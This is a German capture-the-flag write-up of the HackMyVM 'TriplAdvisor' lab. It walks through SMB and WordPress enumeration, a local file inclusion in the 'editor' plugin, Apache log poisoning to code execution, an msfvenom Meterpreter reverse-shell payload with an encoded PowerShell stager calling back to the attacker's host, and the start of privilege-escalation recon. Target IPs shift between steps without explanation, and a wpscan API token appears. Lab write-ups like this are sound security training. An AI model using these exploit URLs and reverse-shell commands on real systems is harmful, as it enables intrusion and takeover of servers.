TriplAdvisor - HackMyVM - Easy - Bericht

Easy

Verwendete Tools

arp-scan
vi
nmap
smbclient
rpcclient
lookupsid.py (Impacket)
gobuster
curl
wpscan
wfuzz
msfvenom
msfconsole (Metasploit)
hashdump (Meterpreter)

Inhaltsverzeichnis

Einleitung & Info

Info: Neo4j ist eine in Java implementierte Open-Source-Graphdatenbank. Die Entwickler beschreiben Neo4j als eine eingebettete, Disk-basierte, transaktionale Datenbank-Engine, die Daten anstatt in Tabellen in Graphen strukturiert speichert.

Bewertung: Diese Information gibt einen initialen Hinweis auf eine möglicherweise im Backend verwendete Technologie. Obwohl sie im weiteren Verlauf des Tests nicht direkt relevant wird, ist sie für ein vollständiges Bild des Systems nützlich.

Empfehlung (Pentester): Bei tiefergehenden Analysen oder Entdeckung entsprechender Schnittstellen gezielt auf Neo4j-spezifische Schwachstellen prüfen.
Empfehlung (Admin): Sicherstellen, dass alle Systemkomponenten, auch wenn sie nicht direkt exponiert sind, sicher konfiguriert und aktuell gehalten werden.

Reconnaissance

┌──(root㉿CCat)-[~] └─# arp-scan -l
192.168.2.116	08:00:27:0c:49:eb	PCS Systemtechnik GmbH
                    

Analyse: Mittels `arp-scan -l` wird das lokale Netzwerk nach aktiven Hosts durchsucht.

Bewertung: Ein Host mit der IP `192.168.2.116` und der MAC-Adresse `08:00:27:0c:49:eb` (Oracle VirtualBox) wurde identifiziert. Dies ist das erste Zielobjekt.

Empfehlung (Pentester): Die gefundene IP als Ziel für weitere Scans verwenden.
Empfehlung (Admin): Netzwerküberwachung auf ARP-Scans implementieren.

┌──(root㉿CCat)-[~] └─# vi /etc/hosts
# Relevante Zeile nach Änderung:
192.168.2.116	advisor.hmv
                    

Analyse: Die lokale `/etc/hosts`-Datei wird bearbeitet, um der IP `192.168.2.116` den Hostnamen `advisor.hmv` zuzuordnen.

Bewertung: Vereinfacht die weitere Adressierung des Ziels für den Pentester.

Empfehlung (Pentester): Standardvorgehen zur Verbesserung der Lesbarkeit und Handhabung.
Empfehlung (Admin): Keine direkte Auswirkung auf das Zielsystem.

Info VM Loginscreen: Windows Server 2008 R2, Benutzer: `websvc`, `administrator`

Bewertung: Extrem wertvolle Information aus der VM-Beschreibung. Enthüllt das veraltete Betriebssystem und zwei valide Benutzernamen. Dies ist ein starker Hinweis auf potenzielle Schwachstellen und erleichtert Angriffsversuche erheblich.

Empfehlung (Pentester): Die Benutzernamen für Authentifizierungsversuche (SMB, Web, etc.) priorisieren.
Empfehlung (Admin): Veraltetes OS dringend patchen/ersetzen. Standard-Admin-Namen ändern/deaktivieren. Starke Passwörter verwenden.

┌──(root㉿CCat)-[~] └─# nmap -sC -sS -sV -A -T5 192.168.2.116 -p-
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-14 23:23 CEST
Nmap scan report for advisor.hmv (192.168.2.116)
Host is up (0.00013s latency).
Not shown: 65534 filtered tcp ports (no-response)
PORT    STATE SERVICE       VERSION
445/tcp open  microsoft-ds?
MAC Address: 08:00:27:0C:49:EB (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Microsoft Windows Phone 7.5 or 8.0 (98%), Microsoft Windows Embedded Standard 7 (98%), Microsoft Windows 7 Professional or Windows 8 (97%), Microsoft Windows Vista SP0 or SP1, Windows Server 2008 SP1, or Windows 7 (97%), Microsoft Windows Vista SP2, Windows 7 SP1, or Windows Server 2008 (96%), Microsoft Windows Server 2008 R2 or Windows 8.1 (95%), Microsoft Windows Server 2008 SP1 (93%), Microsoft Windows 7 (93%), Microsoft Windows 7 SP1 (92%), Microsoft Windows Vista SP0 - SP1 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop

Host script results:
| smb2-time:
|   date: 2024-08-14T21:24:40
|_  start_date: 2024-08-15T06:18:54
| smb2-security-mode:
|   2:1:0:
|_    Message signing enabled but not required

TRACEROUTE
HOP RTT     ADDRESS
1   0.13 ms advisor.hmv (192.168.2.116)
                    

Analyse: Ein umfassender Nmap-Scan (`-sC` für Skripte, `-sS` für SYN-Scan, `-sV` für Versionen, `-A` für OS/Version/Skript/Traceroute, `-T5` für aggressives Timing, `-p-` für alle Ports) wird auf `192.168.2.116` durchgeführt.

Bewertung: Hauptfund ist der offene Port 445 (SMB). Das Skript `smb2-security-mode` zeigt die kritische Schwachstelle `Message signing enabled but not required` auf. OS-Erkennung deutet auf Windows 7/Server 2008 R2 hin. Viele gefilterte Ports lassen auf eine Firewall schließen.

Empfehlung (Pentester): SMB als primären Angriffsvektor untersuchen (Enumeration, Relay-Angriffe).
Empfehlung (Admin): SMB Signing erzwingen! OS patchen/ersetzen. Firewall überprüfen.

┌──(root㉿CCat)-[~] └─# nmap -sC -sS -sV -A -T5 192.168.2.116 -p- | grep open
445/tcp open  microsoft-ds?
                    

Analyse: Filtert die vorherige Nmap-Ausgabe, um nur offene Ports anzuzeigen.

Bewertung: Bestätigt Port 445 als einzigen offenen Port.

Empfehlung (Pentester): Nützlich für schnelle Übersicht, aber nicht die Details (Skripte) vergessen.
Empfehlung (Admin): Keine neuen Erkenntnisse.

SMB Analyse

┌──(root㉿CCat)-[~] └─# nmap -p 445 --script smb2-security-mode 192.168.2.117
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-15 13:09 CEST
Nmap scan report for TriplAdvisor (192.168.2.117)
Host is up (0.00071s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds
MAC Address: 08:00:27:7E:1C:11 (Oracle VirtualBox virtual NIC)

Host script results:
| smb2-security-mode:
|   2:1:0:
|_    Message signing enabled but not required

Nmap done: 1 IP address (1 host up) scanned in 1.22 seconds
                    

Analyse: Gezielter Scan auf Port 445 mit dem Skript `smb2-security-mode` auf einer *neuen* IP-Adresse: `192.168.2.117`.

Bewertung: Auch auf diesem Host (andere MAC, vermutlich andere VM) ist SMB Signing nicht erzwungen. Dies deutet auf eine konsistente Fehlkonfiguration oder ein gemeinsames Basis-Image hin.

Empfehlung (Pentester): Beide IPs im Auge behalten. Prüfen, ob sich die Systeme unterscheiden.
Empfehlung (Admin): SMB Signing auf *allen* Systemen im Netz erzwingen.

┌──(root㉿CCat)-[~] └─# smbclient "//192.168.2.117/TRIPLADVISOR/" -N --debuglevel=10
INFO: Current debug levels:
  all: 10
  tdb: 10
  printdrivers: 10
# ... (restliche Debug-Level-Ausgabe)
# Keine Fehlermeldung oder Erfolgsmeldung bezüglich des Shares
                    

Analyse: Versuch, anonym (`-N`) auf die SMB-Freigabe `TRIPLADVISOR` auf 192.168.2.117 zuzugreifen. Hoher Debug-Level aktiviert.

Bewertung: Fehlgeschlagen. Es erfolgt keine Verbindung oder Fehlermeldung bezüglich des Shares selbst, was darauf hindeutet, dass der anonyme Zugriff verweigert wird oder der Share nicht existiert.

Empfehlung (Pentester): Andere Methoden zur Share-Enumeration (smbmap, nmap-Skripte) oder authentifizierten Zugriff versuchen.
Empfehlung (Admin): Anonymen SMB-Zugriff deaktivieren.

┌──(root㉿CCat)-[~] └─# rpcclient -U "" -N 192.168.2.117
rpcclient $>
                    

Analyse: Versuch einer anonymen RPC-Verbindung (Null-Session) zu 192.168.2.117.

Bewertung: Erfolgreich! Der `rpcclient $>`-Prompt erscheint. Dies ermöglicht potenziell weitere Enumeration über RPC.

Empfehlung (Pentester): RPC-Enumerationsbefehle innerhalb der `rpcclient`-Sitzung ausführen (`enumdomusers`, etc.).
Empfehlung (Admin): Anonymen RPC-Zugriff einschränken (Policy: "Netzwerkzugriff: Anonyme SID-/Namensübersetzung einschränken").

┌──(root㉿CCat)-[~] └─# /opt/impacket/impacket-scripts/lookupsid.py -no-pass 192.168.2.117
Impacket v0.12.0.dev1 - Copyright 2023 Fortra

[*] Brute forcing SIDs at 192.168.2.117
[*] StringBinding ncacn_np:192.168.2.117[\pipe\lsarpc]
[-] SMB SessionError: code: 0xc0000022 - STATUS_ACCESS_DENIED - {Access Denied} A process has requested access to an object but has not been granted those access rights.
                    

Analyse: `lookupsid.py` versucht, SIDs über eine Null-Session aufzulösen.

Bewertung: Fehlgeschlagen mit `STATUS_ACCESS_DENIED`. Obwohl eine RPC-Null-Session möglich war, reichen die Berechtigungen nicht für die SID-Enumeration über `lsarpc`. Das System ist hier gehärtet.

Empfehlung (Pentester): Andere Enumerationswege nutzen.
Empfehlung (Admin): Sicherheitsrichtlinie beibehalten.

┌──(root㉿CCat)-[~] └─# smbclient -U '%' -N \\\\192.168.2.117\\IPC$
Try "help" to get a list of possible commands.
smb: \> ls
NT_STATUS_ACCESS_DENIED listing \*
smb: \> pwd
Current directory is \\192.168.2.117\IPC$\
smb: \>
                    

Analyse: Versuch einer SMB-Null-Session zur `IPC$`-Freigabe.

Bewertung: Verbindung möglich (`pwd` funktioniert), aber Auflistung (`ls`) wird mit `NT_STATUS_ACCESS_DENIED` blockiert. Bestätigt eingeschränkten anonymen Zugriff.

Empfehlung (Pentester): Fokus auf andere Angriffsvektoren oder authentifizierte Angriffe legen.
Empfehlung (Admin): Konfiguration beibehalten.

┌──(root㉿CCat)-[~] └─# nmap 192.168.2.119 -n -Pn -p- --min-rate 10000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-18 18:52 CEST
Nmap scan report for 192.168.2.119
Host is up (0.00018s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT     STATE SERVICE
445/tcp  open  microsoft-ds
8080/tcp open  http-proxy
MAC Address: 08:00:27:79:F4:4D (Oracle VirtualBox virtual NIC)
                    

Analyse: Schneller Portscan (`-Pn`, `--min-rate 10000`) auf eine *dritte* IP-Adresse: `192.168.2.119`.

Bewertung: Findet offenen Port 445 (SMB) und den neuen, interessanten Port 8080 (HTTP-Proxy/Webserver). Erneute andere MAC, andere VM. Dies wird nun das Hauptziel.

Empfehlung (Pentester): Den Dienst auf Port 8080 untersuchen.
Empfehlung (Admin): Netzwerk aufräumen, unnötige VMs/Dienste abschalten. Port 8080 absichern.

Web Enumeration & LFI

┌──(root㉿CCat)-[~] └─# gobuster dir -u "http://Tripladvisor:8080" -w "/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -x txt,php,...,js.map -b '503,404,403' -e --no-error -k
http://Tripladvisor:8080/index.html           (Status: 200) [Size: 202]
http://Tripladvisor:8080/index.php            (Status: 302) [Size: 0] [--> http://Tripladvisor:8080/wordpress/]
http://Tripladvisor:8080/thumbs.db            (Status: 200) [Size: 3584]
http://Tripladvisor:8080/wordpress            (Status: 301) [Size: 243] [--> http://tripladvisor:8080/wordpress/]
http://Tripladvisor:8080/Index.php            (Status: 302) [Size: 0] [--> http://Tripladvisor:8080/wordpress/]
http://Tripladvisor:8080/Index.html           (Status: 200) [Size: 202]
                    

Analyse: `gobuster` sucht nach Verzeichnissen und Dateien auf `http://Tripladvisor:8080` (Hostname zeigt jetzt vermutlich auf 192.168.2.119).

Bewertung: Wichtiger Fund: Die Weiterleitungen auf `/wordpress/` deuten klar auf eine WordPress-Installation hin. `thumbs.db` ist ebenfalls vorhanden.

Empfehlung (Pentester): WordPress-Installation unter `/wordpress/` mit `wpscan` genauer untersuchen.
Empfehlung (Admin): WordPress aktuell halten, unnötige Dateien (`thumbs.db`) entfernen, WAF einsetzen.

# Kein Prompt im Original, Befehl direkt ausgeführt └─# curl http://tripladvisor:8080/wordpress/wp-json/wp/v2/users
[
  {
    "id": 1,
    "name": "admin",
    "url": "",
    "description": "",
    "link": "http:\/\/tripladvisor:8080\/wordpress\/author\/admin\/",
    "slug": "admin",
    "avatar_urls": {
      "24": "http:\/\/2.gravatar.com\/avatar\/e64c7d89f26bd1972efa854d13d7dd61?s=24&d=mm&r=g",
      "48": "http:\/\/2.gravatar.com\/avatar\/e64c7d89f26bd1972efa854d13d7dd61?s=48&d=mm&r=g",
      "96": "http:\/\/2.gravatar.com\/avatar\/e64c7d89f26bd1972efa854d13d7dd61?s=96&d=mm&r=g"
    },
    "meta": [],
    "_links": {
      "self": [
        {
          "href": "http:\/\/tripladvisor:8080\/wordpress\/wp-json\/wp\/v2\/users\/1"
        }
      ],
      "collection": [
        {
          "href": "http:\/\/tripladvisor:8080\/wordpress\/wp-json\/wp\/v2\/users"
        }
      ]
    }
  }
]
                    

Analyse: Abfrage der WordPress REST API (`/wp-json/wp/v2/users`) zur Benutzer-Enumeration.

Bewertung: Kritisch! Bestätigt die Existenz des Standard-Benutzers "admin" (ID 1).

Empfehlung (Pentester): "admin" für Passwort-Bruteforce verwenden.
Empfehlung (Admin): REST API `/users`-Endpunkt einschränken. Standard-Admin-Namen ändern.

┌──(root㉿CCat)-[~] └─# wpscan --url http://Tripladvisor:8080 -e u
[i] Updating the Database ...
[i] Update completed.

[+] URL: http://tripladvisor:8080/ [192.168.2.119]
[+] Effective URL: http://tripladvisor:8080/wordpress/
[+] Started: Sun Aug 18 19:04:43 2024

[+] Enumerating Users (via Passive and Aggressive Methods)
 Brute Forcing Author IDs - Time: 00:00:12 <================================================================================================================> (10 / 10) 100.00% Time: 00:00:12 

[i] User(s) Identified:

[+] admin
 | Found By: Rss Generator (Passive Detection)
 | Confirmed By:
 |  Wp Json Api (Aggressive Detection)
 |   - http://tripladvisor:8080/wordpress/wp-json/wp/v2/users/?per_page=100&page=1
 |  Rss Generator (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] WPScan DB API OK 
 | Plan: free
 | Requests Done (during the scan): 2
 | Requests Remaining: 23

[+] Finished: Sun Aug 18 19:05:34 2024
[+] Requests Done: 83
[+] Cached Requests: 4
[+] Data Sent: 25.052 KB
[+] Data Received: 21.849 MB
[+] Memory used: 158.59 MB
[+] Elapsed time: 00:00:51
                    

Analyse: `wpscan` wird zur Benutzer-Enumeration (`-e u`) auf `http://Tripladvisor:8080` (IP 192.168.2.119) eingesetzt.

Bewertung: Bestätigt den Benutzer "admin" durch mehrere Methoden.

Empfehlung (Pentester): "admin" als Ziel für Passwortangriffe nutzen. Weitere `wpscan`-Enumerationen (Plugins, Themes) durchführen.
Empfehlung (Admin): Maßnahmen gegen Benutzer-Enumeration ergreifen. Standard-Admin-Namen ändern.

┌──(root㉿CCat)-[~] └─# wpscan --url http://Tripladvisor:8080 --passwords /usr/share/wordlists/rockyou.txt --usernames admin --api-token RoBoAaM72LLsihlqUJrA1EleT6AJAd9QxQ9rbmQNCY
# Keine Ausgabe im Text - Annahme: erfolglos

Analyse: `wpscan` wird für einen Passwort-Bruteforce-Angriff auf "admin" mit der `rockyou.txt`-Liste verwendet.

Bewertung: Vermutlich erfolglos, da keine Erfolgsmeldung im Text folgt und später ein Exploit genutzt wird.

Empfehlung (Pentester): Andere Angriffsmethoden (Exploits) suchen.
Empfehlung (Admin): Starke Passwörter, Login-Rate-Limiting, 2FA.

# Kein Prompt im Original, vermutlich Teil der vorherigen WPScan-Ausgabe oder separater Lauf mit -e vp └─# # wpscan --url http://Tripladvisor:8080 -e vp (vermuteter Befehl)
[+] editor
 | Location: http://tripladvisor:8080/wordpress/wp-content/plugins/editor/
 |
 | Found By: Urls In Homepage (Passive Detection)
 |
 | Version: 1.1 (100% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 |  - http://tripladvisor:8080/wordpress/wp-content/plugins/editor/readme.txt
 | Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
 |  - http://tripladvisor:8080/wordpress/wp-content/plugins/editor/readme.txt
                     

Analyse: WPScan identifiziert das Plugin "editor" und bestimmt dessen Version als 1.1.

Bewertung: Kritischer Fund! Die genaue Versionsnummer ermöglicht die gezielte Suche nach Exploits.

Empfehlung (Pentester): Nach Exploits für "editor" v1.1 suchen.
Empfehlung (Admin): Plugin aktualisieren oder entfernen. Zugriff auf `readme.txt` einschränken.

Analyse: Recherche (Google, Exploit-DB) nach Exploits für das Plugin "editor".

Bewertung: Erfolgreich! Ein LFI-Exploit (Local File Inclusion) für Version 1.1.1 wird auf Exploit-DB (exploit/44340) gefunden. Es ist wahrscheinlich, dass dieser auch für v1.1 funktioniert.

Empfehlung (Pentester): Den LFI-Exploit testen.
Empfehlung (Admin): Plugin sofort entfernen/patchen.

# Kein Prompt, Browser-Aktion └─# # Besuch der URL im Browser (view-source)
view-source:http://tripladvisor:8080/wordpress/wp-content/plugins/editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd

{"success":false,"message":"Error: didn't load shortcodes pattern file"}
                     

Analyse: Erster Versuch, die LFI-Schwachstelle auszunutzen, um `/etc/passwd` zu lesen.

Bewertung: Fehlgeschlagen. Die Fehlermeldung deutet auf einen falschen Pfad (Linux-Pfad auf Windows-System) oder Pfadfilterung hin.

Empfehlung (Pentester): Windows-Pfade oder Fuzzing (z.B. mit `wfuzz`) verwenden, um gültige Dateien zu finden.
Empfehlung (Admin): Plugin patchen/entfernen. Input-Validierung.

┌──(root㉿CCat)-[~] └─# wfuzz -c -w /usr/share/wordlists/logfiles.txt -u "tripladvisor:8080/wordpress/wp-content/plugins/editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=FUZZ" --hh 72
Target: http://tripladvisor:8080/wordpress/wp-content/plugins/editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=FUZZ

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000001643:   200        564 L    2563 W     21507 Ch    "\xampp\apache\conf\httpd.conf"
000001620:   200        7 L      13 W       129 Ch      "C:\WINDOWS\win.ini" 
000001642:   200        0 L      1 W        37 Ch       "\xampp\phpMyAdmin\config.inc.php"
000001641:   200        0 L      1 W        37 Ch       "\xampp\phpmyadmin\config.inc.php"
# ... (weitere Funde)
000001654:   200        18412 L  220962 W   1957925 Ch   "\xampp\apache\logs\access.log" 
000001653:   200        51724 L  1053562 W  8593699 Ch   "\xampp\apache\logs\error.log" 

Total time: 2.983324
Processed Requests: 2894
Filtered Requests: 2881
Requests/sec.: 970.0587
                    

Analyse: `wfuzz` wird mit einer Liste gängiger Log-/Konfigurationsdateien verwendet, um über die LFI-Schwachstelle lesbare Dateien zu finden. Antworten mit 72 Zeichen (vermutlich Fehlermeldung) werden ignoriert (`--hh 72`).

Bewertung: Sehr erfolgreich! Mehrere interessante Dateien gefunden, darunter `C:\WINDOWS\win.ini` und vor allem die Apache-Logdateien `\xampp\apache\logs\access.log` und `error.log`. Dies öffnet die Tür für Log Poisoning.

Empfehlung (Pentester): Log Poisoning versuchen: Code in Logs schreiben (z.B. via User-Agent) und dann die Logdatei über LFI ausführen.
Empfehlung (Admin): LFI beheben. Zugriff auf Logdateien über Web einschränken. XAMPP nicht produktiv nutzen.

# Kein Prompt, Browser-Aktion └─# # Besuch der URL im Browser (view-source)
view-source:http://tripladvisor:8080/wordpress/wp-content/plugins/editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=\xampp\apache\logs\access.log

# Gekürzte Log-Ausgabe:
192.168.56.1 - - [14/Aug/2024:10:42:52 -0700] "GET ...?ajax_path=C:/xampp/apache/logs/error.log HTTP/1.1" 200 ...
...
fe80::58d6:a2ae:50ae:f30e - - [18/Aug/2024:09:58:01 -0700] "POST /wordpress/wp-cron.php?..." 200 - "..." "WordPress/5.1.19; http://tripladvisor:8080/wordpress" 
                     

Analyse: Die `access.log` wird erfolgreich über LFI ausgelesen.

Bewertung: Bestätigt Lesbarkeit. Der Logeintrag von `wp-cron.php` verrät die WordPress-Version 5.1.19 (veraltet).

Empfehlung (Pentester): WordPress-Version auf bekannte Schwachstellen prüfen. Mit Log Poisoning fortfahren.
Empfehlung (Admin): WordPress aktualisieren. LFI beheben.

┌──(root㉿CCat)-[~] └─# curl -A "" http://tripladvisor:8080/wordpress/


	
 

		
		
		
# ... (Rest der HTML-Antwort)
                    

Analyse: Versuch, PHP-Code (``) via User-Agent (`-A`) in die `access.log` zu schreiben.

Bewertung: Der Befehl selbst gibt nur die HTML-Seite zurück. Der Erfolg hängt davon ab, ob der Code in die Logs geschrieben und später ausgeführt wird.

Empfehlung (Pentester): Nun die `access.log` erneut über LFI aufrufen.
Empfehlung (Admin): LFI beheben. Log-Maskierung aktivieren.

# Kein Prompt, Browser-Aktion └─# # Erneuter Besuch der LFI-URL im Browser (view-source)
view-source:http://tripladvisor:8080/wordpress/wp-content/plugins/editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=\xampp\apache\logs\access.log

# Gekürzte Ausgabe mit Ergebnis des eingeschleusten Codes:
192.168.2.199 - - [18/Aug/2024:10:23:11 -0700] "GET /wordpress/ HTTP/1.1" 200 22542 "-" " Volume in drive C has no label.
 Volume Serial Number is BCB3-AE45

 Directory of C:\xampp\htdocs\wordpress\wp-content\plugins\editor\editor\extensions\pagebuilder\includes

06/30/2024  10:00 AM              .
06/30/2024  10:00 AM              ..
06/30/2024  10:00 AM             9,400 ajax_shortcode_pattern.php
# ... (restliche Dateiliste)
               6 File(s)        160,360 bytes
               2 Dir(s)  23,819,964,416 bytes free
"
{"success":true,"data":{"output":[]}}
                      

Analyse: Erneuter Aufruf der `access.log` über LFI, nachdem der PHP-Code eingeschleust wurde.

Bewertung: Erfolg! RCE bestätigt! Statt des PHP-Codes wird die Ausgabe des `dir`-Befehls angezeigt. Der Code wurde erfolgreich ausgeführt.

Empfehlung (Pentester): RCE nutzen, um eine Reverse Shell zu etablieren.
Empfehlung (Admin): Höchste Priorität, LFI zu beheben! System kompromittiert.

Proof of Concept: Ausnutzung der LFI in WordPress Plugin "Editor" zu RCE

Kurzbeschreibung: Demonstriert die Ausnutzung der LFI im Plugin "Editor" v1.1 mittels Log Poisoning, um RCE zu erlangen und eine Meterpreter Reverse Shell zu etablieren.

Voraussetzungen: Netzwerkzugriff auf Port 8080, Kenntnis der Schwachstelle, Tools (`curl`, `wfuzz`, `msfvenom`, `msfconsole`), Listener.

Schritt-für-Schritt-Anleitung:

  1. Logdatei-Identifikation via LFI & `wfuzz`: (Siehe vorheriger `wfuzz`-Befehl, der `\xampp\apache\logs\access.log` findet)
  2. Generieren des PowerShell Meterpreter Payloads:
    ┌──(root㉿CCat)-[~] └─# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.2.199 LPORT=1337 -f psh-cmd -o payload.txt
    [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
    [-] No arch selected, selecting arch: x64 from the payload
    No encoder specified, outputting raw payload
    Payload size: 510 bytes
    Final size of psh-cmd file: 7487 bytes
    Saved as: payload.txt
                                 

    Analyse: Erstellt einen PowerShell-Payload (`-f psh-cmd`) für eine Reverse TCP Meterpreter-Verbindung zu 192.168.2.199 auf Port 1337.

  3. Anzeigen und Base64-Kodieren des Payloads:
    ┌──(root㉿CCat)-[~] └─# cat payload.txt
    %COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQAcgBdADoA[...gekürzter Base64-Payload...]SAPQBbAFMAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAgBTAHQAYQByAHQAKAAkAHMAKQA7AA==
                                 

    Analyse: Der generierte Payload ist ein `cmd.exe`-Befehl, der PowerShell startet, um den eigentlichen, Base64-kodierten (`-e ...`) Meterpreter-Stager auszuführen.

  4. Einrichten des Metasploit Listeners:
    msf6 > use multi/handler
    [*] Using configured payload generic/shell_reverse_tcp
    msf6 exploit(multi/handler) > set lhost eth0
    lhost => eth0
    msf6 exploit(multi/handler) > set lport 1337
    lport => 1337
    msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
    payload => windows/x64/meterpreter/reverse_tcp
    msf6 exploit(multi/handler) > run
    [*] Started reverse TCP handler on 192.168.2.199:1337

    Analyse: Metasploit wird konfiguriert, um auf die eingehende x64-Meterpreter-Verbindung auf Port 1337 zu warten.

  5. Einschleusen & Auslösen des Payloads via LFI & Log Poisoning:
    ┌──(root㉿CCat)-[~] └─# curl -A "" http://tripladvisor:8080/wordpress/
    # (Keine direkte Ausgabe des Payloads)

    Analyse: Der PowerShell-Befehl zum Starten des Base64-kodierten Payloads wird in `` eingebettet und als User-Agent gesendet. Dies schreibt den Code in die `access.log`. Ein sofortiger oder kurz darauf folgender Aufruf der LFI-URL (`view-source:http://tripladvisor:8080/wordpress/wp-content/plugins/editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=\xampp\apache\logs\access.log`) führt den PHP-Code und damit den PowerShell-Payload aus.

Erwartetes & Tatsächliches Ergebnis: Eine Meterpreter-Session wird auf dem Listener (Port 1337) geöffnet.

[*] Sending stage (201798 bytes) to 192.168.2.118
[*] Meterpreter session 1 opened (192.168.2.199:1337 -> 192.168.2.118:49169) at 2024-08-18 19:55:14 +0200

meterpreter >
                      

Beweismittel: Erfolgreiche Meterpreter-Session.

Risikobewertung: Hoch. Kompromittierung des Webservers auf Benutzerebene (`websvc`).

Empfehlungen (Admin): Siehe vorheriger Bericht (Plugin entfernen, patchen, WAF, Härtung, Monitoring).

Initial Access (Meterpreter)

meterpreter > pwd
C:\xampp\htdocs\wordpress\wp-content
meterpreter > cd ../../
meterpreter > cd ../../
meterpreter > ls
Listing: C:\
============

Mode              Size   Type  Last modified              Name
----              ----   ----  -------------              ----
040777/rwxrwxrwx  0      dir   2009-07-14 06:52:35 +0200  $RECYCLE.BIN
# ... (restliche Ausgabe von C:\)
040777/rwxrwxrwx  8192   dir   2024-06-30 07:56:02 +0200  xampp
                     

Analyse: Navigation vom initialen Web-Verzeichnis zum Root-Verzeichnis `C:\`.

Bewertung: Zeigt erfolgreichen Zugriff auf das Dateisystem außerhalb des Web-Roots.

Empfehlung (Pentester): Weiteres Enumerieren des Systems, insbesondere des `Users`-Verzeichnisses.
Empfehlung (Admin): Berechtigungen des Webserver-Prozesses überprüfen und minimieren.

meterpreter > pwd
C:\
meterpreter > cd Users\
meterpreter > ls
[-] stdapi_fs_chdir: Operation failed: The system cannot find the file specified.
meterpreter > cd Users\\
meterpreter > ls
Listing: C:\Users
=================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
040777/rwxrwxrwx  0     dir   2024-06-30 05:09:25 +0200  Administrator
# ... (restliche Benutzerprofile)
040777/rwxrwxrwx  8192  dir   2024-06-30 05:11:29 +0200  websvc
                      

Analyse: Wechsel in das `Users`-Verzeichnis. Der erste `cd`-Versuch schlägt fehl (möglicherweise Tippfehler oder Timing-Problem), der zweite (`cd Users\\`) gelingt. Auflistung der Benutzerprofile.

Bewertung: Zeigt die Profile `Administrator` und `websvc`.

Empfehlung (Pentester): Zugriff auf die Profile testen.
Empfehlung (Admin): Keine neuen Erkenntnisse.

meterpreter > cd Administrator\\
[-] stdapi_fs_chdir: Operation failed: Access is denied.
meterpreter > cd websvc\\
meterpreter > cd Desktop\\
meterpreter > ls
Listing: C:\Users\websvc\Desktop
================================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  282   fil   2024-06-30 04:10:54 +0200  desktop.ini
100666/rw-rw-rw-  33    fil   2024-06-30 19:10:01 +0200  user.txt
                    

Analyse: Zugriff auf `Administrator` wird verweigert. Wechsel in das `websvc`-Profil und auf dessen Desktop gelingt. Dort wird `user.txt` gefunden.

Bewertung: User-Flag gefunden! Zugriffsbeschränkungen auf Administrator-Profil sind aktiv.

Empfehlung (Pentester): `user.txt` auslesen. Privilege Escalation anstreben.
Empfehlung (Admin): Korrekte Berechtigungen. Flags nicht unverschlüsselt speichern.

Privilege Escalation

meterpreter > shell
Process 2448 created.
Channel 2 created.
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Users\websvc\Desktop>whoami /priv
whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State
============================= ========================================= ========
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                     Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled
                    
C:\Users\websvc\Desktop>^C
Terminate channel 2? [y/N]  y
meterpreter >
Background session 1? [y/N]

Analyse: Öffnen einer `cmd.exe`-Shell und Überprüfung der Privilegien des `websvc`-Benutzers mit `whoami /priv`.

Bewertung: Zeigt Standardprivilegien. Keine offensichtlich einfachen PrivEsc-Vektoren durch hohe Privilegien sichtbar. `SeImpersonatePrivilege` ist zwar vorhanden, aber für viele Exploits wird `SeAssignPrimaryTokenPrivilege` benötigt oder es müssen bestimmte Bedingungen erfüllt sein.

Empfehlung (Pentester): Automatisierte Exploit-Suche (z.B. `local_exploit_suggester`) oder manuelle Suche nach Schwachstellen.
Empfehlung (Admin): Prinzip der geringsten Rechte anwenden.

msf6 exploit(multi/handler) > use post/multi/recon/local_exploit_suggester
msf6 post(multi/recon/local_exploit_suggester) > set session 1
session => 1
msf6 post(multi/recon/local_exploit_suggester) > sessions
Active sessions
===============

  Id  Name  Type                     Information                 Connection
  --  ----  ----                     -----------                 ----------
  1         meterpreter x64/windows  TRIPLADVISOR\websvc @ TRIP  192.168.2.199:1337 -> 192.1
                                     LADVISOR                    68.2.118:49169 (192.168.2.1
                                                                 18)
                     

Analyse: Vorbereitung des `local_exploit_suggester` auf Session 1.

Bewertung: Korrekte Konfiguration.

Empfehlung (Pentester): Mit `run` starten.
Empfehlung (Admin): Patchen und überwachen.

Analyse: Überschrift "Privilege Escalation" wiederholt.

Bewertung: Strukturelles Element im Originaltext.

Empfehlung (Pentester/Admin): Keine Aktion erforderlich.

msf6 exploit(multi/handler) > use post/multi/recon/local_exploit_suggester
